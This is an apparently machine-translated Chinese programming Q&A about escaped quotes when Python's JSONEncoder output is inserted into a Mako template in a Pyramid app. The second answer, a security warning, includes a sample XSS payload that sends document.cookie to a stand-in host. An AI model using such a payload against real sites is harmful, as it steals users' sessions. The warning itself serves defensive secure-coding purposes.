2013-08-05 74 views
0

我讀的文本文件,對\n分裂,並把結果放在一個Python列表的Python列表。"出現在JSONEncoder輸出,輸入字符串

我然後使用JSONEncoder().encode(mylist),但它產生的JavaScript結果引發錯誤:

var jslist = ["List item 1", "List item 2"] 

我猜切換到單引號會解決這個問題,但目前還不清楚如何強制JSONEncoder /蟒蛇使用一個或另一個。

更新:的背景是一個金字塔的應用,這裏的函數的結尾(組件是列表的名稱:

return {'components': JSONEncoder().encode(components)} 

,然後在灰鯖模板:

var components = ${components}; 

它正在被替換如上

+2

JSONEncoder不會這樣做,它很可能是無論您給出的結果輸出是逃脫特殊字符。你把它傳給了什麼? – Wessie

+0

更新了金字塔/ Mako的細節。 – hewhocutsdown

回答

3

mako正在逃離你的條件gs,因爲這對大多數用途來說是一個理智的默認值。您可以關閉退讓根據具體情況逐案:

${components | n}

0

如果你是一個HTML網頁上嵌入的JSON,要小心了。由於馬可並不知道腳本標記,如此這般逃生使用標準轉義的字符串。然而一個<script>標籤有不同的轉義規則。值得注意的是,不要逃避,使你的網站容易出現跨站腳本攻擊,如果JSON包含用戶生成的數據。考慮用戶可編輯的字段中輸入以下信息(user.name)

user.name = "</script><script language='javascript'>" + 
    "document.write('<img src=\'http://ev1l.com/stealcookies/?'" + 
    "+ document.cookie + '/>');</script><script language='vbscript'>" 

唉,Python的JSON編碼器沒有一個選項,安全編碼JSON,使其 是HTML嵌入內 - 甚至使用Javascript(一個bug已經進入Python bug db)。同時,你應該使用ensure_ascii=True +與'\\u003c'替換所有'<',以避免受到惡意用戶入侵。